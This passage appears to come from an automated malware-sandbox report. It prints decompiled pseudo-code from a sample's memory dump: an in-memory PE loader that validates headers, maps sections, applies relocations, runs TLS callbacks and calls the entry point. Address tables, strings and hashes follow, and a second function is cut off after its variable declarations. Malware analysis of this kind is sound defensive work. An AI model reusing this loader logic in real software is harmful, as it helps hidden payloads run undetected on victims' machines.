				signed int* _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				void* _v72;
				long _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t181;
				void* _t190;
				long _t192;
				long _t197;
				void* _t198;
				void* _t202;
				void* _t204;
				signed int _t206;
				signed int _t207;
				signed int _t212;
				void* _t214;
				intOrPtr _t215;
				intOrPtr* _t218;
				intOrPtr* _t224;
				signed int* _t226;
				signed int* _t229;
				void* _t234;
				signed int _t235;
				signed int _t236;
				signed char _t237;
				void _t238;
				signed int _t241;
				void* _t250;
				void* _t259;
				void* _t266;
				intOrPtr _t269;
				signed int _t279;
				signed char _t280;
				signed int _t281;
				void* _t282;
				signed int _t284;
				signed int _t291;
				signed int _t292;
				signed int _t294;
				void* _t297;
				intOrPtr _t306;
				intOrPtr _t310;
				void* _t315;
				void* _t324;
				signed int _t326;
				signed short* _t327;
				void* _t328;
				signed int _t330;
				long _t333;
				long _t334;
				void* _t335;
				void* _t336;
				void* _t337;
				void* _t338;
				signed int _t339;
				signed int _t340;
				signed int _t341;
				void* _t342;
				void* _t343;
				void* _t344;
				intOrPtr _t346;
				void* _t348;
				void* _t350;
				void* _t352;
				intOrPtr _t353;
				void* _t354;
				void* _t355;
				void* _t356;
				intOrPtr* _t357;
				signed int _t361;
				signed int _t363;
				void* _t364;
				intOrPtr _t366;
				signed int _t368;
				intOrPtr _t369;
				void* _t370;
				void* _t371;
				void* _t372;
				signed int _t373;
				void* _t374;
				void* _t375;
				void* _t376;

				_t181 =  *0x43d054; // 0x298e9dc2
				_v8 = _t181 ^ _t373;
				_t276 = __edx;
				_t322 = __ecx;
				_t346 = 0;
				_v56 = __edx;
				_v48 = __ecx;
				if(__edx >= 0x40) {
					if( *__ecx == 0x5a4d) {
						_t279 = __ecx[0xf];
						_v68 = _t279;
						if(__edx >= _t279 + 0xf8) {
							_t276 = __ecx + _t279;
							_v64 = _t276;
							if( *(__ecx + _t279) == 0x4550) {
								if( *((intOrPtr*)(_t276 + 4)) == 0x14c) {
									_t280 =  *(_t276 + 0x38);
									if((_t280 & 0x00000001) == 0) {
										_t330 =  *(_t276 + 6) & 0x0000ffff;
										_t324 = ( *(_t276 + 0x14) & 0x0000ffff) + 0x24;
										if(_t330 != 0) {
											_t328 = _t324 + _t276;
											do {
												_t269 =  *((intOrPtr*)(_t328 + 4));
												_t328 = _t328 + 0x28;
												_t314 =  !=  ? _t269 : _t280;
												_t315 = ( !=  ? _t269 : _t280) +  *((intOrPtr*)(_t328 - 0x28));
												_t316 =  <=  ? _t346 : _t315;
												_t346 =  <=  ? _t346 : _t315;
												_t280 =  *(_t276 + 0x38);
												_t330 = _t330 - 1;
											} while (_t330 != 0);
										}
										__imp__GetNativeSystemInfo( &_v44); // executed
										_t281 = _v40;
										_t322 =  !(_t281 - 1);
										_t333 = _t281 - 0x00000001 +  *((intOrPtr*)(_t276 + 0x50)) & _t322;
										if(_t333 == (_t281 - 0x00000001 + _t346 & _t322)) {
											_t190 = VirtualAlloc( *(_t276 + 0x34), _t333, 0x3000, 4); // executed
											_v72 = _t190;
											if(_t190 != 0) {
												L22:
												_t192 = HeapAlloc(GetProcessHeap(), 8, 0x40);
												_t282 = _v72;
												_t334 = _t192;
												_v76 = _t334;
												if(_t334 != 0) {
													 *(_t334 + 4) = _t282;
													 *((intOrPtr*)(_t334 + 0x1c)) = E00402EA0;
													 *(_t334 + 0x14) = ( *(_t276 + 0x16) & 0x0000ffff) >> 0x0000000d & 0x00000001;
													 *((intOrPtr*)(_t334 + 0x20)) = E00402EC0;
													 *((intOrPtr*)(_t334 + 0x24)) = E00402EE0;
													 *((intOrPtr*)(_t334 + 0x28)) = E00402EF0;
													 *((intOrPtr*)(_t334 + 0x2c)) = E00402F10;
													 *((intOrPtr*)(_t334 + 0x34)) = 0;
													 *(_t334 + 0x3c) = _v40;
													_t197 =  *(_t276 + 0x54);
													if(_v56 >= _t197) {
														_t198 = VirtualAlloc(_t282, _t197, 0x1000, 4); // executed
														_t348 = _t198;
														E00410440(_t348, _v48,  *(_t276 + 0x54));
														_t375 = _t374 + 0xc;
														_v60 = 0;
														_t202 = _t348 + _v48[0xf];
														 *_t334 = _t202;
														 *((intOrPtr*)(_t202 + 0x34)) = _v72;
														_t284 =  *_t334;
														_t322 =  *(_t334 + 4);
														_v52 = _t322;
														_t204 = ( *(_t284 + 0x14) & 0x0000ffff) + 0x24;
														if(0 >=  *(_t284 + 6)) {
															L40:
															_t206 =  *((intOrPtr*)(_t284 + 0x34)) -  *(_t276 + 0x34);
															_v64 = _t206;
															if(_t206 == 0) {
																L52:
																_t207 = 1;
															} else {
																if( *((intOrPtr*)(_t284 + 0xa4)) != 0) {
																	_t322 =  *(_t334 + 4);
																	_t276 =  *((intOrPtr*)(_t284 + 0xa0)) + _t322;
																	_v56 = _t322;
																	_t238 =  *_t276;
																	if(_t238 != 0) {
																		do {
																			_t306 =  *((intOrPtr*)(_t276 + 4));
																			_v68 = _t238 + _t322;
																			_t327 = _t276 + 8;
																			_t364 = 0;
																			if((_t306 - 0x00000008 & 0xfffffffe) > 0) {
																				_t341 = _v68;
																				asm("o16 nop [eax+eax]");
																				do {
																					_t241 =  *_t327 & 0x0000ffff;
																					if((_t241 & 0x0000f000) == 0x3000) {
																						 *((intOrPtr*)((_t241 & 0x00000fff) + _t341)) =  *((intOrPtr*)((_t241 & 0x00000fff) + _t341)) + _v64;
																					}
																					_t306 =  *((intOrPtr*)(_t276 + 4));
																					_t364 = _t364 + 1;
																					_t327 =  &(_t327[1]);
																				} while (_t364 < _t306 - 8 >> 1);
																			}
																			_t238 =  *(_t276 + _t306);
																			_t276 = _t276 + _t306;
																			_t322 = _v56;
																		} while (_t238 != 0);
																		_t334 = _v76;
																	}
																	goto L52;
																} else {
																	_t207 = 0;
																}
															}
															 *((intOrPtr*)(_t334 + 0x18)) = _t207;
															if(E00402D30(_t334) == 0) {
																goto L27;
															} else {
																_t276 =  *_t334;
																_t352 = _t276 + ( *(_t276 + 0x14) & 0x0000ffff);
																_t212 =  *(_t352 + 0x20);
																_t291 =  ~( *(_t334 + 0x3c)) & _t212;
																_v64 = _t291;
																_v92 = _t291;
																_t292 =  *((intOrPtr*)(_t352 + 0x28));
																_v60 = _t212;
																_v96 = _t212;
																if(_t292 == 0) {
																	_t237 =  *(_t352 + 0x3c);
																	if((_t237 & 0x00000040) == 0) {
																		if(_t237 < 0) {
																			_t292 =  *((intOrPtr*)(_t276 + 0x24));
																		}
																	} else {
																		_t292 =  *((intOrPtr*)(_t276 + 0x20));
																	}
																}
																_t326 =  *(_t352 + 0x3c);
																_v88 = _t292;
																_v84 = _t326;
																_v80 = 0;
																_v68 = 1;
																if(1 >=  *(_t276 + 6)) {
																	L76:
																	_t322 =  &_v96;
																	_v80 = 1;
																	_t214 = E00402C00(_t276, _t334,  &_v96); // executed
																	if(_t214 == 0) {
																		goto L27;
																	} else {
																		_t322 =  *_t334;
																		_t294 = _t322;
																		_t353 =  *((intOrPtr*)(_t322 + 0xc0));
																		if(_t353 != 0) {
																			_t276 =  *(_t334 + 4);
																			_t357 =  *((intOrPtr*)(_t276 + _t353 + 0xc));
																			if(_t357 != 0) {
																				_t224 =  *_t357;
																				if(_t224 != 0) {
																					do {
																						 *_t224(_t276, "true", 0);
																						_t224 =  *((intOrPtr*)(_t357 + 4));
																						_t357 = _t357 + 4;
																					} while (_t224 != 0);
																					_t294 =  *_t334;
																				}
																			}
																		}
																		_t215 =  *((intOrPtr*)(_t294 + 0x28));
																		if(_t215 == 0) {
																			 *((intOrPtr*)(_t334 + 0x38)) = 0;
																			_pop(_t336);
																			_pop(_t354);
																			return E0040EB3F(_t334, _t276, _v8 ^ _t373, _t322, _t336, _t354);
																		} else {
																			_t297 = _v72;
																			_t218 = _t215 + _t297;
																			if( *(_t334 + 0x14) == 0) {
																				 *((intOrPtr*)(_t334 + 0x38)) = _t218;
																				_pop(_t337);
																				_pop(_t355);
																				return E0040EB3F(_t334, _t276, _v8 ^ _t373, _t322, _t337, _t355);
																			} else {
																				_push(0);
																				_push("true");
																				_push(_t297);
																				if( *_t218() != 0) {
																					 *((intOrPtr*)(_t334 + 0x10)) = 1;
																					_pop(_t338);
																					_pop(_t356);
																					return E0040EB3F(_t334, _t276, _v8 ^ _t373, _t322, _t338, _t356);
																				} else {
																					SetLastError(0x45a);
																					goto L26;
																				}
																			}
																		}
																	}
																} else {
																	_t226 = _t352 + 0x64;
																	_v48 = _t226;
																	do {
																		_v56 =  *((intOrPtr*)(_t226 - 0x1c));
																		_t339 =  *((intOrPtr*)(_t226 - 0x14));
																		_t361 =  ~( *(_t334 + 0x3c)) & _v56;
																		_v52 = _t339;
																		_t334 = _v76;
																		if(_t339 == 0) {
																			if(( *_t226 & 0x00000040) == 0) {
																				if(( *_t226 & 0x00000080) != 0) {
																					_t340 =  *((intOrPtr*)(_t276 + 0x24));
																					goto L66;
																				}
																			} else {
																				_t340 =  *((intOrPtr*)(_t276 + 0x20));
																				L66:
																				_v52 = _t340;
																				_t334 = _v76;
																			}
																		}
																		if(_v64 == _t361) {
																			L72:
																			_t326 = _t326 |  *_t226;
																			asm("bt eax, 0x19");
																			if(_t326 >= 0) {
																				_t326 = _t326 & 0xfdffffff;
																			}
																			_t292 = _v52 - _v60 + _v56;
																			_t229 = _v48;
																			goto L75;
																		} else {
																			if(_v60 + _t292 > _t361) {
																				_t226 = _v48;
																				goto L72;
																			} else {
																				_t322 =  &_v96;
																				_t234 = E00402C00(_t276, _t334,  &_v96); // executed
																				if(_t234 == 0) {
																					goto L27;
																				} else {
																					_t235 = _v56;
																					_t292 = _v52;
																					_t276 =  *_t334;
																					_v60 = _t235;
																					_v96 = _t235;
																					_t236 = _t361;
																					_v64 = _t236;
																					_v92 = _t236;
																					_t229 = _v48;
																					_t326 =  *_t229;
																					goto L75;
																				}
																			}
																		}
																		goto L90;
																		L75:
																		_v48 =  &(_t229[0xa]);
																		_t363 = _v68 + 1;
																		_v84 = _t326;
																		_t226 = _v48;
																		_v88 = _t292;
																		_v68 = _t363;
																	} while (_t363 < ( *(_t276 + 6) & 0x0000ffff));
																	goto L76;
																}
															}
														} else {
															_t276 = _t204 + _t284;
															do {
																_t310 =  *((intOrPtr*)(_t276 + 4));
																if(_t310 != 0) {
																	if(_v56 <  *(_t276 + 8) + _t310) {
																		goto L25;
																	} else {
																		_t250 =  *((intOrPtr*)( *((intOrPtr*)(_t334 + 0x1c))))( *_t276 + _t322, _t310, 0x1000, 4,  *((intOrPtr*)(_t334 + 0x34))); // executed
																		_t376 = _t375 + 0x14;
																		if(_t250 == 0) {
																			goto L27;
																		} else {
																			_t366 =  *_t276 + _v52;
																			E00410440(_t366, _v48 +  *(_t276 + 8),  *((intOrPtr*)(_t276 + 4)));
																			 *((intOrPtr*)(_t276 - 4)) = _t366;
																			goto L37;
																		}
																	}
																} else {
																	_t369 =  *((intOrPtr*)( &(_v48[0xe]) + _v68));
																	if(_t369 <= 0) {
																		goto L38;
																	} else {
																		_t259 =  *((intOrPtr*)( *((intOrPtr*)(_t334 + 0x1c))))( *_t276 + _t322, _t369, 0x1000, 4,  *((intOrPtr*)(_t334 + 0x34)));
																		_t376 = _t375 + 0x14;
																		if(_t259 == 0) {
																			goto L27;
																		} else {
																			 *((intOrPtr*)(_t276 - 4)) =  *_t276 + _v52;
																			E00410A80(_t334,  *_t276 + _v52, 0, _t369);
																			L37:
																			_t322 = _v52;
																			_t375 = _t376 + 0xc;
																			goto L38;
																		}
																	}
																}
																goto L90;
																L38:
																_t284 =  *_t334;
																_t276 = _t276 + 0x28;
																_t368 = _v60 + 1;
																_v60 = _t368;
															} while (_t368 < ( *(_t284 + 6) & 0x0000ffff));
															_t276 = _v64;
															goto L40;
														}
													} else {
														L25:
														SetLastError(0xd);
														L26:
														L27:
														E00403680(_t334);
														_pop(_t335);
														_pop(_t350);
														return E0040EB3F(0, _t276, _v8 ^ _t373, _t322, _t335, _t350);
													}
												} else {
													VirtualFree(_t282, _t192, 0x8000);
													SetLastError(0xe);
													goto L5;
												}
											} else {
												_t266 = VirtualAlloc(_t190, _t333, 0x3000, 4);
												_v72 = _t266;
												if(_t266 != 0) {
													goto L22;
												} else {
													_push("ERROR_OUTOFMEMORY!\n");
													E00402BD0();
													SetLastError(0xe);
													goto L5;
												}
											}
										} else {
											_push("alignedImageSize != AlignValueUp!\n");
											goto L4;
										}
									} else {
										_push("Section alignment invalid!\n");
										goto L4;
									}
								} else {
									_push("FileHeader.Machine != HOST_MACHINE!\n");
									goto L4;
								}
							} else {
								_push("Signature != IMAGE_NT_SIGNATURE!\n");
								goto L4;
							}
						} else {
							SetLastError(0xd);
							_push("DOS header size is not valid!\n");
							E00402BD0();
							_pop(_t343);
							_pop(_t371);
							return E0040EB3F(0, _t276, _v8 ^ _t373, _t322, _t343, _t371);
						}
					} else {
						_push("DOS header is not valid!\n");
						L4:
						E00402BD0();
						SetLastError(0xc1);
						L5:
						_pop(_t342);
						_pop(_t370);
						return E0040EB3F(0, _t276, _v8 ^ _t373, _t322, _t342, _t370);
					}
				} else {
					SetLastError(0xd);
					_push("Size is not valid!\n");
					E00402BD0();
					_pop(_t344);
					_pop(_t372);
					return E0040EB3F(0, _t276, _v8 ^ _t373, _t322, _t344, _t372);
				}
				L90:
			}

0x00402f26
0x00402f2d
0x00402f31
0x00402f33
0x00402f36
0x00402f38
0x00402f3b
0x00402f42
0x00402f74
0x00402fa1
0x00402fa4
0x00402faf
0x00402fe0
0x00402fe3
0x00402fe6
0x00402ff8
0x00403004
0x0040300a
0x0040301a
0x0040301e
0x00403023
0x00403025
0x00403027
0x00403027
0x0040302a
0x0040302f
0x00403032
0x00403037
0x0040303a
0x0040303c
0x0040303f
0x0040303f
0x00403027
0x00403048
0x0040304e
0x00403057
0x00403061
0x00403067
0x00403084
0x00403086
0x0040308b
0x004030b3
0x004030be
0x004030c4
0x004030c7
0x004030c9
0x004030ce
0x004030e4
0x004030f1
0x004030f8
0x004030fb
0x00403102
0x00403109
0x00403110
0x00403117
0x00403121
0x00403124
0x0040312a
0x00403157
0x0040315c
0x00403162
0x0040316a
0x00403170
0x0040317a
0x0040317e
0x00403180
0x00403183
0x00403185
0x00403188
0x0040318f
0x00403196
0x0040324f
0x00403252
0x00403255
0x00403258
0x004032dd
0x004032dd
0x0040325e
0x00403265
0x0040326b
0x00403274
0x00403276
0x00403279
0x0040327d
0x00403280
0x00403280
0x00403285
0x00403288
0x0040328b
0x00403295
0x00403297
0x0040329a
0x004032a0
0x004032a0
0x004032b1
0x004032bb
0x004032bb
0x004032be
0x004032c1
0x004032c2
0x004032ca
0x004032a0
0x004032ce
0x004032d1
0x004032d3
0x004032d6
0x004032da
0x004032da
0x00000000
0x00403267
0x00403267
0x00403267
0x00403265
0x004032e4
0x004032ee
0x00000000
0x004032f4
0x004032f4
0x004032ff
0x00403301
0x00403304
0x00403306
0x00403309
0x0040330c
0x0040330f
0x00403312
0x00403317
0x00403319
0x0040331e
0x00403327
0x00403329
0x00403329
0x00403320
0x00403320
0x00403320
0x0040331e
0x0040332c
0x00403334
0x00403337
0x0040333a
0x00403341
0x0040334c
0x00403415
0x00403415
0x00403418
0x00403421
0x00403428
0x00000000
0x0040342e
0x0040342e
0x00403430
0x00403432
0x0040343a
0x0040343c
0x0040343f
0x00403445
0x00403447
0x0040344b
0x00403450
0x00403455
0x00403457
0x0040345a
0x0040345d
0x00403461
0x00403461
0x0040344b
0x00403445
0x00403463
0x00403468
0x004034bf
0x004034c8
0x004034c9
0x004034d3
0x0040346a
0x0040346a
0x0040346d
0x00403473
0x004034a4
0x004034a9
0x004034aa
0x004034b9
0x00403475
0x00403475
0x00403477
0x00403479
0x0040347e
0x0040348a
0x00403493
0x00403494
0x004034a3
0x00403480
0x0040312e
0x00000000
0x0040312e
0x0040347e
0x00403473
0x00403468
0x00403352
0x00403352
0x00403355
0x00403360
0x00403363
0x00403369
0x0040336e
0x00403373
0x00403376
0x00403379
0x0040337e
0x00403388
0x0040338a
0x00000000
0x0040338a
0x00403380
0x00403380
0x0040338d
0x0040338d
0x00403390
0x00403390
0x0040337e
0x00403396
0x004033d3
0x004033d9
0x004033db
0x004033df
0x004033e1
0x004033e1
0x004033ed
0x004033f0
0x00000000
0x00403398
0x0040339f
0x004033d0
0x00000000
0x004033a1
0x004033a1
0x004033a6
0x004033ad
0x00000000
0x004033b3
0x004033b3
0x004033b6
0x004033b9
0x004033bb
0x004033be
0x004033c1
0x004033c3
0x004033c6
0x004033c9
0x004033cc
0x00000000
0x004033cc
0x004033ad
0x0040339f
0x00000000
0x004033f3
0x004033f9
0x004033fc
0x00403403
0x00403406
0x00403409
0x0040340c
0x0040340c
0x00000000
0x00403360
0x0040334c
0x0040319c
0x0040319c
0x004031a0
0x004031a0
0x004031a5
0x004031f0
0x00000000
0x004031f6
0x00403209
0x0040320b
0x00403210
0x00000000
0x00403216
0x00403221
0x00403226
0x0040322b
0x00000000
0x0040322b
0x00403210
0x004031a7
0x004031ad
0x004031b3
0x00000000
0x004031b5
0x004031c8
0x004031ca
0x004031cf
0x00000000
0x004031d5
0x004031de
0x004031e1
0x0040322e
0x0040322e
0x00403231
0x00000000
0x00403231
0x004031cf
0x004031b3
0x00000000
0x00403234
0x00403234
0x00403236
0x0040323c
0x0040323d
0x00403244
0x0040324c
0x00000000
0x0040324c
0x0040312c
0x0040312c
0x0040312e
0x0040312e
0x00403134
0x00403136
0x0040313d
0x0040313e
0x0040314d
0x0040314d
0x004030d0
0x004030d7
0x00402f88
0x00000000
0x00402f88
0x0040308d
0x00403096
0x00403098
0x0040309d
0x00000000
0x0040309f
0x0040309f
0x004030a4
0x00402f88
0x00000000
0x00402f88
0x0040309d
0x00403069
0x00403069
0x00000000
0x00403069
0x0040300c
0x0040300c
0x00000000
0x0040300c
0x00402ffa
0x00402ffa
0x00000000
0x00402ffa
0x00402fe8
0x00402fe8
0x00000000
0x00402fe8
0x00402fb1
0x00402fb3
0x00402fb9
0x00402fbe
0x00402fc8
0x00402fc9
0x00402fd8
0x00402fd8
0x00402f76
0x00402f76
0x00402f7b
0x00402f7b
0x00402f88
0x00402f88
0x00402f90
0x00402f91
0x00402fa0
0x00402fa0
0x00402f44
0x00402f46
0x00402f4c
0x00402f51
0x00402f5b
0x00402f5c
0x00402f6b
0x00402f6b
0x00000000

APIs

SetLastError.KERNEL32(0000000D,?), ref: 00402F46
SetLastError.KERNEL32(000000C1), ref: 00402F88

Strings

Signature != IMAGE_NT_SIGNATURE!, xrefs: 00402FE8
alignedImageSize != AlignValueUp!, xrefs: 00403069
Size is not valid!, xrefs: 00402F4C
ERROR_OUTOFMEMORY!, xrefs: 0040309F
FileHeader.Machine != HOST_MACHINE!, xrefs: 00402FFA
@, xrefs: 00402F3F
DOS header size is not valid!, xrefs: 00402FB9
Section alignment invalid!, xrefs: 0040300C
DOS header is not valid!, xrefs: 00402F76

Memory Dump Source

Source File: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.442855707.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Rec528.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: @$DOS header is not valid!$DOS header size is not valid!$ERROR_OUTOFMEMORY!$FileHeader.Machine != HOST_MACHINE!$Section alignment invalid!$Signature != IMAGE_NT_SIGNATURE!$Size is not valid!$alignedImageSize != AlignValueUp!
API String ID: 1452528299-393758929
Opcode ID: 71f8e6b596955476381fdf7a4d400e543c328e13e02967facd8fd06c75a4db19
Instruction ID: eb1d033f4db647f4909ffcafeb99e9f876381f028043ab1d6d4c39bbe72cca07
Opcode Fuzzy Hash: 71f8e6b596955476381fdf7a4d400e543c328e13e02967facd8fd06c75a4db19
Instruction Fuzzy Hash: 12128C71A012159BCB14CFA9D981BADBBB5FF48305F14416AE809BB3C1DB78ED41CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00406800 Relevance: 24.4, APIs: 8, Strings: 5, Instructions: 1613
sleepCOMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E00406800(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _v8;
				char* _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v29;
				char _v32;
				char _v33;
				signed int _v36;
				long _v40;
				signed int _v44;
				char _v60;
				long _v64;
				struct _SECURITY_ATTRIBUTES* _v68;
				char _v84;
				long _v88;
				struct _SECURITY_ATTRIBUTES* _v92;
				char _v108;
				char _v116;
				intOrPtr _v128;
				struct _SECURITY_ATTRIBUTES* _v136;
				char _v144;
				signed int _v152;
				char _v312;
				signed char _v316;
				struct _SECURITY_ATTRIBUTES* _v320;
				intOrPtr _v324;
				intOrPtr _v328;
				struct _SECURITY_ATTRIBUTES* _v336;
				long _v340;
				struct _SECURITY_ATTRIBUTES* _v344;
				char _v360;
				long _v364;
				struct _SECURITY_ATTRIBUTES* _v368;
				char _v384;
				long _v388;
				char _v408;
				char _v412;
				char _v413;
				struct _SECURITY_ATTRIBUTES* _v420;
				struct _SECURITY_ATTRIBUTES* _v424;
				struct _SECURITY_ATTRIBUTES* _v440;
				struct _SECURITY_ATTRIBUTES* _v444;
				struct _SECURITY_ATTRIBUTES* _v448;
				struct _SECURITY_ATTRIBUTES* _v464;
				long _v468;
				struct _SECURITY_ATTRIBUTES* _v472;
				char _v488;
				long _v496;
				struct _SECURITY_ATTRIBUTES* _v500;
				struct _SECURITY_ATTRIBUTES* _v516;
				long _v520;
				struct _SECURITY_ATTRIBUTES* _v616;
				char _v624;
				signed int _v628;
				char _v772;
				char _v1100;
				signed char _v1104;
				intOrPtr _v1108;
				signed int _v1112;
				intOrPtr _v1116;
				char _v1140;
				char _v1164;
				char _v1188;
				char _v1212;
				char _v1236;
				char _v1260;
				char _v1284;
				signed int _v1844;
				short _v1848;
				intOrPtr _v1852;
				intOrPtr _v1856;
				void* __ebp;
				signed int _t852;
				int _t857;
				void* _t858;
				char* _t859;
				void* _t865;
				long _t867;
				signed int _t873;
				signed int _t874;
				signed int _t876;
				signed int _t878;
				intOrPtr _t882;
				signed char _t883;
				signed int _t884;
				char* _t888;
				void* _t890;
				signed int _t896;
				intOrPtr _t897;
				signed int _t898;
				char* _t902;
				void* _t904;
				signed int _t910;
				intOrPtr _t911;
				signed char _t912;
				signed int _t913;
				char* _t917;
				void* _t919;
				signed int _t925;
				void* _t932;
				char* _t933;
				intOrPtr _t940;
				signed int _t947;
				signed int _t948;
				signed int _t950;
				void* _t954;
				void* _t957;
				void* _t959;
				void* _t960;
				void* _t961;
				void* _t962;
				void* _t963;
				void* _t972;
				signed int _t973;
				signed int _t976;
				signed int _t982;
				void* _t988;
				void* _t989;
				signed int _t991;
				void* _t996;
				void* _t1000;
				void* _t1001;
				signed int _t1003;
				signed int _t1007;
				intOrPtr _t1010;
				void* _t1019;
				signed char _t1022;
				char* _t1026;
				intOrPtr _t1027;
				signed char _t1031;
				signed int _t1034;
				signed int _t1036;
				char _t1040;
				struct _SECURITY_ATTRIBUTES* _t1041;
				struct _SECURITY_ATTRIBUTES* _t1045;
				intOrPtr _t1049;
				signed int _t1056;
				void* _t1061;
				char* _t1062;
				intOrPtr _t1066;
				intOrPtr _t1070;
				intOrPtr _t1074;
				struct _SECURITY_ATTRIBUTES* _t1078;
				intOrPtr _t1082;
				char _t1087;
				struct _SECURITY_ATTRIBUTES* _t1088;
				struct _SECURITY_ATTRIBUTES* _t1092;
				intOrPtr _t1096;
				signed int _t1103;
				void* _t1110;
				char* _t1111;
				intOrPtr _t1115;
				intOrPtr _t1119;
				struct _SECURITY_ATTRIBUTES* _t1123;
				intOrPtr _t1127;
				char _t1132;
				struct _SECURITY_ATTRIBUTES* _t1133;
				struct _SECURITY_ATTRIBUTES* _t1137;
				intOrPtr _t1141;
				signed int _t1153;
				signed int _t1155;
				signed int _t1158;
				void* _t1161;
				void* _t1162;
				signed int _t1168;
				intOrPtr _t1170;
				signed char _t1171;
				signed int _t1172;
				char* _t1176;
				void* _t1178;
				signed int _t1184;
				intOrPtr _t1185;
				signed int _t1186;
				char* _t1190;
				void* _t1192;
				signed int _t1198;
				intOrPtr _t1199;
				signed char _t1200;
				signed int _t1201;
				char* _t1205;
				void* _t1207;
				signed int _t1213;
				intOrPtr _t1214;
				intOrPtr _t1218;
				void* _t1222;
				char* _t1223;
				intOrPtr _t1227;
				intOrPtr _t1231;
				struct _SECURITY_ATTRIBUTES* _t1235;
				intOrPtr _t1239;
				char _t1244;
				struct _SECURITY_ATTRIBUTES* _t1245;
				struct _SECURITY_ATTRIBUTES* _t1249;
				intOrPtr _t1253;
				signed int _t1260;
				void* _t1265;
				char* _t1266;
				intOrPtr _t1270;
				intOrPtr _t1273;
				struct _SECURITY_ATTRIBUTES* _t1277;
				intOrPtr _t1281;
				char _t1286;
				struct _SECURITY_ATTRIBUTES* _t1287;
				struct _SECURITY_ATTRIBUTES* _t1291;
				intOrPtr _t1295;
				signed int _t1302;
				void* _t1309;
				char* _t1310;
				intOrPtr _t1314;
				intOrPtr _t1317;
				struct _SECURITY_ATTRIBUTES* _t1321;
				struct _SECURITY_ATTRIBUTES* _t1325;
				char _t1330;
				struct _SECURITY_ATTRIBUTES* _t1331;
				struct _SECURITY_ATTRIBUTES* _t1335;
				struct _SECURITY_ATTRIBUTES* _t1339;
				void* _t1351;
				char* _t1352;
				intOrPtr _t1356;
				intOrPtr _t1359;
				struct _SECURITY_ATTRIBUTES* _t1363;
				struct _SECURITY_ATTRIBUTES* _t1367;
				char _t1372;
				intOrPtr _t1373;
				struct _SECURITY_ATTRIBUTES* _t1378;
				signed int _t1382;
				intOrPtr _t1384;
				intOrPtr _t1390;
				intOrPtr _t1395;
				intOrPtr _t1399;
				char _t1404;
				void* _t1407;
				void* _t1409;
				void* _t1414;
				char* _t1418;
				long _t1421;
				intOrPtr* _t1425;
				struct _SECURITY_ATTRIBUTES* _t1428;
				void* _t1433;
				intOrPtr* _t1434;
				struct _SECURITY_ATTRIBUTES* _t1437;
				void* _t1442;
				signed char* _t1443;
				struct _SECURITY_ATTRIBUTES* _t1446;
				void* _t1451;
				char* _t1463;
				long _t1514;
				signed int _t1532;
				struct _SECURITY_ATTRIBUTES* _t1534;
				struct _SECURITY_ATTRIBUTES* _t1535;
				char _t1536;
				char* _t1541;
				intOrPtr _t1542;
				char _t1543;
				char _t1544;
				struct _SECURITY_ATTRIBUTES* _t1545;
				char _t1546;
				struct _SECURITY_ATTRIBUTES* _t1547;
				struct _SECURITY_ATTRIBUTES* _t1548;
				char _t1549;
				char* _t1553;
				char _t1554;
				char _t1555;
				struct _SECURITY_ATTRIBUTES* _t1556;
				char _t1557;
				struct _SECURITY_ATTRIBUTES* _t1558;
				struct _SECURITY_ATTRIBUTES* _t1559;
				char _t1560;
				intOrPtr* _t1561;
				signed int _t1562;
				char* _t1566;
				void* _t1572;
				intOrPtr* _t1573;
				struct _SECURITY_ATTRIBUTES* _t1576;
				void* _t1581;
				intOrPtr* _t1582;
				struct _SECURITY_ATTRIBUTES* _t1585;
				void* _t1590;
				signed char* _t1591;
				struct _SECURITY_ATTRIBUTES* _t1594;
				void* _t1599;
				char _t1600;
				char _t1601;
				char* _t1605;
				char _t1606;
				char _t1607;
				struct _SECURITY_ATTRIBUTES* _t1608;
				char _t1609;
				struct _SECURITY_ATTRIBUTES* _t1610;
				struct _SECURITY_ATTRIBUTES* _t1611;
				char _t1612;
				char* _t1617;
				char _t1618;
				struct _SECURITY_ATTRIBUTES* _t1619;
				intOrPtr _t1620;
				struct _SECURITY_ATTRIBUTES* _t1621;
				struct _SECURITY_ATTRIBUTES* _t1622;
				intOrPtr _t1623;
				char* _t1627;
				char _t1628;
				struct _SECURITY_ATTRIBUTES* _t1629;
				struct _SECURITY_ATTRIBUTES* _t1630;
				struct _SECURITY_ATTRIBUTES* _t1631;
				struct _SECURITY_ATTRIBUTES* _t1632;
				struct _SECURITY_ATTRIBUTES* _t1633;
				char* _t1637;
				intOrPtr _t1638;
				struct _SECURITY_ATTRIBUTES* _t1639;
				struct _SECURITY_ATTRIBUTES* _t1640;
				intOrPtr _t1641;
				struct _SECURITY_ATTRIBUTES* _t1642;
				intOrPtr* _t1643;
				intOrPtr _t1645;
				intOrPtr _t1646;
				intOrPtr _t1647;
				intOrPtr _t1648;
				struct _SECURITY_ATTRIBUTES* _t1651;
				long _t1652;
				long _t1653;
				long _t1654;
				long _t1655;
				intOrPtr _t1656;
				char* _t1657;
				void* _t1660;
				struct _SECURITY_ATTRIBUTES* _t1661;
				long _t1663;
				struct _SECURITY_ATTRIBUTES* _t1664;
				struct _SECURITY_ATTRIBUTES* _t1665;
				void* _t1666;
				struct _SECURITY_ATTRIBUTES* _t1667;
				long _t1669;
				struct _SECURITY_ATTRIBUTES* _t1670;
				struct _SECURITY_ATTRIBUTES* _t1671;
				signed char* _t1672;
				struct _SECURITY_ATTRIBUTES* _t1673;
				long _t1675;
				struct _SECURITY_ATTRIBUTES* _t1676;
				struct _SECURITY_ATTRIBUTES* _t1680;
				DWORD* _t1699;
				void* _t1700;
				struct _SECURITY_ATTRIBUTES* _t1703;
				long _t1704;
				struct _SECURITY_ATTRIBUTES* _t1705;
				long _t1706;
				long _t1707;
				void* _t1708;
				void* _t1709;
				DWORD* _t1710;
				void* _t1711;
				DWORD* _t1712;
				void* _t1713;
				struct _SECURITY_ATTRIBUTES* _t1716;
				long _t1717;
